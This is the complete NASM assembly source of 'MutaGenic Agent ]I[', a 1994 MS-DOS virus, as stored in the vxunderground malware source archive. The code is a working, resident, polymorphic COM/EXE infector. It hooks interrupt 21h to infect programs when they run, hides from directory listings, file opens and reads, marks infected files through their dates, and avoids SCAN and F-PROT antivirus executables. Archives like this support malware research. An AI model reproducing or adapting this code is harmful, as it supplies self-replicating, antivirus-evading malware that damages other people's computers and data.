MalwareSourceCode/MSDOS/M-Index/Virus.MSDOS.Unknown.mutagen.3368.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

571 lines
17 KiB
NASM

; ========================================================================>
; MutaGenic Agent ]I[
; by MnemoniX- 1994
; Resident COM/EXE infecting virus
; Infect on execution
; Won't infect ??SCAN.EXE or F-PROT.EXE
; Polymorphic, using MutaGen v2.0
; Uses full stealth (disinfects in memory on open)
; A tricky virus, so BE CAREFUL.
; Usually nails COMMAND.COM on first run.
; ========================================================================>
MGEN_SIZE equ 1938 ; for MutaGen 2.0
code segment byte public 'code'
org 0
assume cs:code,ds:code
extrn _mutagen:near
start:
db 0E9h,02,00,4Dh,47h
virus_begin:
push ds es
call $+3
pop bp
sub bp,offset $-1
mov ax,577Eh ; residency test
int 21h
cmp ax,0A881h
je installed
mov ax,ds
dec ax
mov ds,ax
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
mov es,word ptr ds:[12h]
push cs ; copy virus into memory
pop ds
xor di,di
mov si,bp
mov cx,(virus_end - start) / 2 + 1
rep movsw
xor ax,ax ; capture interrupt 21
mov ds,ax
mov si,21h * 4
mov di,offset old_int_21
movsw
movsw
mov word ptr [si - 4],offset new_int_21
mov [si - 2],es
installed:
pop es ds
cmp sp,'GM' ; EXE?
je exe_exit
mov di,100h
push di
lea si,[bp + read_buffer]
movsw
movsw
movsb
call fix_regs
ret
exe_exit:
mov ax,ds
add ax,10h
add cs:[bp + exe_cs],ax
add ax,cs:[bp + exe_ss]
cli
mov ss,ax
mov sp,cs:[bp + exe_sp]
sti
call fix_regs
db 0EAh
exe_ip dw 0
exe_cs dw 0
exe_ss dw 0
exe_sp dw 0
fix_regs:
xor ax,ax
xor bx,bx
cwd
xor di,di
mov si,100h
xor bp,bp
ret
int_21:
pushf
call dword ptr cs:[old_int_21]
ret
new_int_21:
cmp ax,577Eh
je pass
cmp ah,11h
je dir_stealth_1
cmp ah,12h
je dir_stealth_1
cmp ah,4Eh
je dir_stealth_2
cmp ah,4Fh
je dir_stealth_2
cmp ah,3Dh
jne next_1
jmp file_open
next_1:
cmp ah,6Ch
jne next_2
jmp file_open
next_2:
cmp ax,4B00h
jne next_3
jmp execute
next_3:
cmp ah,3Fh
jne next_4
jmp file_read
next_4:
cmp ax,5700h
jne next_5
jmp fix_date
next_5:
int_21_exit:
db 0EAh
old_int_21 dd 0
pass:
not ax
iret
dir_stealth_1:
call int_21 ; do it
test al,al ; if al = -1
js cant_find ; then don't bother
push ax bx es ; check file for infection
mov ah,2Fh
int 21h
cmp byte ptr es:[bx],-1 ; check for extended FCB
jne no_ext_FCB
add bx,7
no_ext_FCB:
mov ax,es:[bx + 19h]
cmp ah,100 ; check years -
jb fixed ; if 100+, infected
ror ah,1
sub ah,100
rol ah,1
mov es:[bx + 19h],ax
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 328
sbb word ptr es:[bx + 1Fh],0
fixed:
pop es bx ax
cant_find:
iret
dir_stealth_2:
call int_21 ; perform file search
jnc check_file_2 ; if found, proceed
retf 2 ; nope, leave
check_file_2:
push ax bx si es
mov ah,2Fh ; find DTA
int 21h
mov ax,es:[bx + 18h]
cmp ah,100 ; check for infection marker
jb fixed_2
ror ah,1 ; fix up date
sub ah,100
rol ah,1
mov es:[bx + 18h],ax
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 328
sbb word ptr es:[bx + 1Ch],0
fixed_2:
pop es si bx ax ; done
clc
retf 2
file_open:
call int_21 ; open file
jc open_fail ; carry set, open failed
cmp ax,5 ; if handle is a device,
jb dont_bother ; don't bother with it
push ax bx di es
xchg ax,bx
push bx
mov ax,1220h ; get system file table
int 2Fh ; entry
nop ; anti-SCAN
mov bl,es:[di]
mov ax,1216h
int 2Fh
pop bx
mov ax,es:[di + 0Fh] ; check time stamp
cmp ah,100
jb dont_stealth
cmp word ptr es:[di],1 ; if file has already
ja dont_stealth ; been opened, don't stealth
sub es:[di + 11h],VIRUS_SIZE + 328
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
; size
dont_stealth:
pop es di bx ax ; restore everything
dont_bother:
clc
open_fail:
retf 2 ; and return
file_read:
cmp bx,5 ; if read from device,
jae check_it_out ; don't bother
jmp forget_it
check_it_out:
push si di es ax bx cx
push bx
mov ax,1220h
int 2Fh
mov ax,1216h
mov bl,es:[di]
int 2Fh
pop bx
mov ax,es:[di + 0Fh] ; 100+ years
cmp ah,100
jae check_pointer ; is the magic number
jmp no_read_stealth
check_pointer:
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
je check_pointer_2 ; then skip it
jmp no_read_stealth
check_pointer_2:
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
jae no_read_stealth ; then DON'T
push es:[di + 15h] ; save it
mov ah,3Fh
call int_21 ; do the read function
pop cx ; now find how many bytes
push ax ; (Save AX value)
sub cx,28 ; we have to change ...
neg cx ; and where
cmp ax,cx ; if more than 28 were read,
jae ok ; ok
xchg ax,cx ; otherwise, switch around
ok:
push ds cx dx
push es:[di + 15h] ; save current file pointer
push es:[di + 17h]
add es:[di + 11h],VIRUS_SIZE + 328
adc word ptr es:[di + 13h],0
mov ax,es:[di + 11h] ; fix up file size to prevent
sub ax,28 ; read past end of file
mov es:[di + 15h],ax
mov ax,es:[di + 13h]
mov es:[di + 17h],ax
push cs ; now read in real first 28
pop ds ; bytes
mov dx,offset read_buffer
mov cx,28
mov ah,3Fh
call int_21
sub es:[di + 11h],VIRUS_SIZE + 328
sbb word ptr es:[di + 13h],0
pop es:[di + 17h] ; restore file pointer
pop es:[di + 15h]
pop dx cx ds ; now we move our 28 bytes
push ds ; into theirs ...
pop es
mov di,dx
mov si,offset read_buffer
push cs
pop ds
rep movsb ; done
push es ; restore DS
pop ds
pop ax
pop cx bx es es di si
clc
retf 2
no_read_stealth:
pop cx bx ax es di si
forget_it:
jmp int_21_exit
fix_date:
call int_21 ; get date
jc an_error
cmp dh,100 ; if years > 100,
jb date_fixed ; fix it up
ror dh,1
sub dh,100
rol dh,1
date_fixed:
iret
an_error:
retf 2
execute:
push ax si
mov si,dx
find_ext:
lodsb
test al,al
je not_av
cmp al,'.'
jne find_ext
cmp ds:[si],'XE' ; check for ??SCAN.EXE
jne not_av
cmp ds:[si - 3],'NA'
jne f_prot
cmp ds:[si - 5],'CS'
je av_prog
f_prot:
cmp ds:[si - 3],'TO' ; check for F-PROT.EXE
jne not_av
cmp ds:[si - 5],'RP'
jne not_av
av_prog:
pop si ax
jmp int_21_exit
not_av:
pop si ax
push ax bx cx dx si di ds es
mov ax,3D00h
call int_21
jnc opened
jmp cant_open
opened:
xchg bx,ax
push bx
mov ax,1220h
int 2Fh
mov ax,1216h
mov bl,es:[di]
int 2Fh
pop bx
mov word ptr es:[di + 2],2
push cs
pop ds
mov ah,3Fh
mov dx,offset read_buffer
mov cx,28
call int_21
cmp read_buffer,'ZM'
jne infect_com
jmp infect_exe
infect_com:
cmp read_buffer[3],'GM'
je dont_infect
mov ax,es:[di + 11h]
mov es:[di + 15h],ax
sub ax,3
mov word ptr new_jump[1],ax
add ax,103h
xchg dx,ax
call write_it
mov cx,5
mov dx,offset new_jump
mov ah,40h
call int_21
stamp_n_close:
mov cx,es:[di + 0Dh]
mov dx,es:[di + 0Fh]
ror dh,1
add dh,100
rol dh,1
mov ax,5701h
call int_21
dont_infect:
mov ah,3Eh
call int_21
cant_open:
pop es ds di si dx cx bx ax
jmp int_21_exit
infect_exe:
cmp word ptr read_buffer[26],0
ja dont_infect ; don't infect overlay .EXE
cmp word ptr read_buffer[16],'GM'
je dont_infect ; infected already
push es di
push cs ; save this header
pop es
mov si,offset read_buffer
mov di,offset orig_header
mov cx,14
rep movsw
pop di es
mov ax,word ptr orig_header[20]
mov exe_ip,ax
mov ax,word ptr orig_header[22]
mov exe_cs,ax
mov ax,word ptr orig_header[14]
mov exe_ss,ax
mov ax,word ptr orig_header[16]
mov exe_sp,ax
mov ax,es:[di + 11h] ; file size
mov dx,es:[di + 13h]
push ax dx ; (save these for later)
push bx
mov cl,12
shl dx,cl
mov bx,ax
mov cl,4
shr bx,cl
add dx,bx
and ax,15
pop bx
sub dx,word ptr orig_header[8]
mov word ptr orig_header[22],dx
mov word ptr orig_header[20],ax
add dx,80h ; give stack some space
mov word ptr orig_header[14],dx
mov word ptr orig_header[16],'GM'
pop dx ax
add ax,VIRUS_SIZE + 28
adc dx,0
mov cx,512 ; in pages
div cx ; then save results
inc ax
mov word ptr orig_header[2],dx
mov word ptr orig_header[4],ax
mov ax,4202h ; to EOF
cwd
xor cx,cx
call int_21
mov dx,word ptr orig_header[20]
call write_it
mov cx,28
mov dx,offset orig_header
mov ah,40h
call int_21
jmp stamp_n_close
write_it:
push dx
mov ax,2524h ; trap int 24
mov dx,offset int_24
call int_21
pop dx
push es di ; call MutaGen
push cs
pop es
mov cx,VIRUS_SIZE
mov di,offset encrypt_buffer
mov si,offset virus_begin
call _mutagen
pop di es
mov si,cx
mov ah,40h
call int_21
sub si,VIRUS_SIZE + 300
neg si
mov cx,si
mov ah,40h
mov dx,offset encrypt_buffer + 200
call int_21
mov cx,28 ; for stealth
mov dx,offset read_buffer
mov ah,40h
call int_21
mov word ptr es:[di + 15h],0
mov word ptr es:[di + 17h],0
ret
db 'MutaGenic Agent ]I[',0
int_24: ; int 24 handler
mov al,3
iret
new_jump db 0E9h,00,00,4Dh,47h
pop_buffer dw 0
read_buffer dw 14 dup (20CDh)
virus_end equ $ + MGEN_SIZE
VIRUS_SIZE equ virus_end - virus_begin
orig_header equ virus_end
encrypt_buffer equ virus_end + 28
end_heap equ virus_end + 28 + VIRUS_SIZE + 300
MEM_SIZE equ end_heap - start
code ends
end start